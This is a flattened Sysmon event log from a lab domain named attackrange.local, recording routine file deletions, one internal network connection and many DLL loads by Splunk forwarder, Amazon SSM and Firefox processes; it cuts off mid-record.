14:59:12.553{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3A9B4AAFF7B6D5A89FB991B7EE062408,SHA256=A08F469E099AEF43AF7490D97B136979133A5275CD39F226ADB1CA5C9B395CF0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016505Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:12.202{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5A05142037BF37259A07CDEFDF25AFFE,SHA256=0EE643491CB1011E74ADC5E24FE09C9552EEF45DF2E31823AE3A3E71A359735E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:13.568{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2071DC00FA6F552F33CFD54F4E7F0AA1,SHA256=98BAE7EABC85496DEB0F2A57B2160912107A69320245AD3C894DB3DA38B5A18A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016507Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:13.206{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9F27C17B18977B9CC7B2FDDEEEB1FD4A,SHA256=A662AF5FC014ED0B3E1BF59125F2B815A5034DB38163F56F4D50C799705F1319,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016506Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:13.069{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-044MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:14.570{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=63F7CE72CD47D2F9A6BAA06269346E60,SHA256=277D7AA0A927DF69DE93CA4ACBAF7D1212BBFE9CEC9FC3FEC359EA180EE95B1A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016509Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:14.235{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6D8541208E563FAF4541620FF56695C7,SHA256=E90A887BC871EEEFA2B64445907C1E9A19D0C2A934B66575105454BBAA6754FA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016508Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:14.082{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-045MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:15.870{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=38D7AD848E21353116431BEF418B34E7,SHA256=9F3581E754BC0367F9F7A7F1F20CA6C5B5D8336D887D1934DB93A4F6AFC32A9F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:15.870{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=53416D7F3A20023BF91A7E29D896480F,SHA256=FACA43EA4AA5EBE5597F0562E93B7248D34F099B8B2A22D717D036CD6B3DD795,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:15.870{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=51027226FF0CF83A84E95CE9F43B523A,SHA256=17A3836604F65BCAF333983BBCF350A8B6CEF3D79CB1F88453AC00B3C033463D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:15.870{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=F20E9E77620058F0038A93ECC43E708A,SHA256=5CB59B8017D0D491B1C64A25950E41DBDD0E08AD448C702CB7F5C61784503503,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:15.870{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=980481F08A6E34B6D317E62B1E338B8A,SHA256=76C53B69D116A59C6F3FF938EC1DBBBAA6699053773ABB7E3BD0133118EA01EA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:15.739{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=06C19BEA81F6070B1C795AFAC83C35EB,SHA256=2D4CBAE4FD25323452C5CBD33670A15870A609C38ED2AFBF0D73741B716C1D62,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016510Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:15.237{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=77ACBB84BF15886C355FA76ABF591BEF,SHA256=D906905F835A58971FD739EEC0796D03B3B59E1AE3E224A6735B4A1964142A39,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:12.426{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59594-false10.0.1.12-8000- 23542300x800000000000000051446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:16.770{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=245678FD3B25E54B8A7D4C3707822B73,SHA256=4CC2D39E5DB8BE5AD8A6CD8BD0331C25AE8610C6E836A505B24612CC0393D452,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016511Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:16.253{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3A3614B7CC8FE06CB994650390CFEF8E,SHA256=E8BC4F6DE0F4065DC8029E407498105019F99C751AB4BC6B1A2548126711CD8C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016513Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:17.268{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8DB5E97C8681F2F9A7B46F74264842DB,SHA256=6BCB6CECC8FEE31F0327B3AC0A149C072F2C6311517B37CC983C0FAAC5496C1C,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000051549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.906{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000051548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.906{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000051547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.906{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000051546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.906{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000051545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.906{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000051544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.906{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000051543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.904{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000051542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.902{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000051541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.868{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000051540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.868{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000051539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.868{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000051538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.868{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000051537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.868{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000051536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.868{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000051535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.868{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000051534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.868{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000051533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.868{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000051532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.868{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000051531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.868{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000051530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.868{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000051529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.868{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000051528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.868{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000051527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.868{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000051526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.868{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000051525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.868{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000051524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.868{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000051523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.868{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000051522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.852{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000051521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:17.852{7BD73061-72C5-613B-620B-00000000F001}6936C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft 